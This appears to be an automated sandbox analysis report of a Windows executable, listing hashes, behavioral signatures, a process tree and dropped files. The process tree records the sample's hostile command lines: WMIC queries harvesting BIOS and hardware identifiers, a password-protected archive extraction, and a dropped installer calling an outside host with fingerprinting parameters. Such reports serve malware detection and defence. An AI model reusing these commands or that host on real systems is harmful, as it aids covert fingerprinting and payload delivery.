Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    11-09-2024 10:49

General

  • Target

    da2df7a950af76c9bf2ca604deaa1c39_JaffaCakes118.exe

  • Size

    406KB

  • MD5

    da2df7a950af76c9bf2ca604deaa1c39

  • SHA1

    d2e2cfcedff875b3a6f8ccc3070f2c5d847876a7

  • SHA256

    0502c1c2464f874c9b817837a2e782e4002b636b0fa44d6f9c4744b24ae6a65e

  • SHA512

    0c0e2dd4c332882e8906ebaa1023e312d2307d18821509b68ad875b785060f045fbd5c1f85af140aaf0e165441d795844f3981db6d3cec8d849b0aff587315fa

  • SSDEEP

    12288:tA0i50GX1lRWb3EFbNnYPKpief6T/N7Nkq95ecxqC3X3V:tAfyGvwwFbNYPIjCT/XkEecxqO3

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\da2df7a950af76c9bf2ca604deaa1c39_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\da2df7a950af76c9bf2ca604deaa1c39_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2740
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1688
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2564
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC bios Get Version /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2584
    • C:\Windows\SysWOW64\Wbem\WMIC.exe
      WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2836
    • C:\Users\Admin\AppData\Local\Temp\nsj495.tmp\7za.exe
      7za.exe e -y -p"168a814e4a513567b5059c15638a373e" [RANDOM_STRING].7z
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2840
    • C:\Users\Admin\AppData\Local\Temp\nsj495.tmp\setupcl.exe
      "C:\Users\Admin\AppData\Local\Temp\nsj495.tmp\setupcl.exe" /initurl http://sub.zwickna.com/init/da2df7a950af76c9bf2ca604deaa1c39_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid da2df7a950af76c9bf2ca604deaa1c39_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        wmic bios get serialnumber, version
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\nsj495.tmp\[RANDOM_STRING].7z

    Filesize

    80KB

    MD5

    8e1152ba5857cb54d4c96e22e41a124c

    SHA1

    a4c9fa24872379cb98e00b18432420e5c0d55475

    SHA256

    a6f10a1f68b53267960c3767edc8615280179f063a3c9eea05bf1539b0898391

    SHA512

    a5913fef2405f9bcaf2758d20fac932b13bda112b77ffc1442e3d41aa7b6c2dbfa03e37af309f5969962e3ea8c4045c447e2c84c62ade735cf9124bec017d3c6

  • \Users\Admin\AppData\Local\Temp\nsj495.tmp\7za.exe

    Filesize

    574KB

    MD5

    42badc1d2f03a8b1e4875740d3d49336

    SHA1

    cee178da1fb05f99af7a3547093122893bd1eb46

    SHA256

    c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

    SHA512

    6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

  • \Users\Admin\AppData\Local\Temp\nsj495.tmp\nsExec.dll

    Filesize

    8KB

    MD5

    b8be6632a7dc8136ff01338be40fe701

    SHA1

    043fa16929b2af5ed5c1c59b4035a10cf765fb43

    SHA256

    289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

    SHA512

    403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

  • \Users\Admin\AppData\Local\Temp\nsj495.tmp\setupcl.exe

    Filesize

    193KB

    MD5

    10bd2af1b07ec6bc9cd17ba512569e59

    SHA1

    807e17ab1b98177e135d30941b45081960d1e866

    SHA256

    9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

    SHA512

    deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

  • memory/2740-40-0x0000000000400000-0x0000000000437000-memory.dmp

    Filesize

    220KB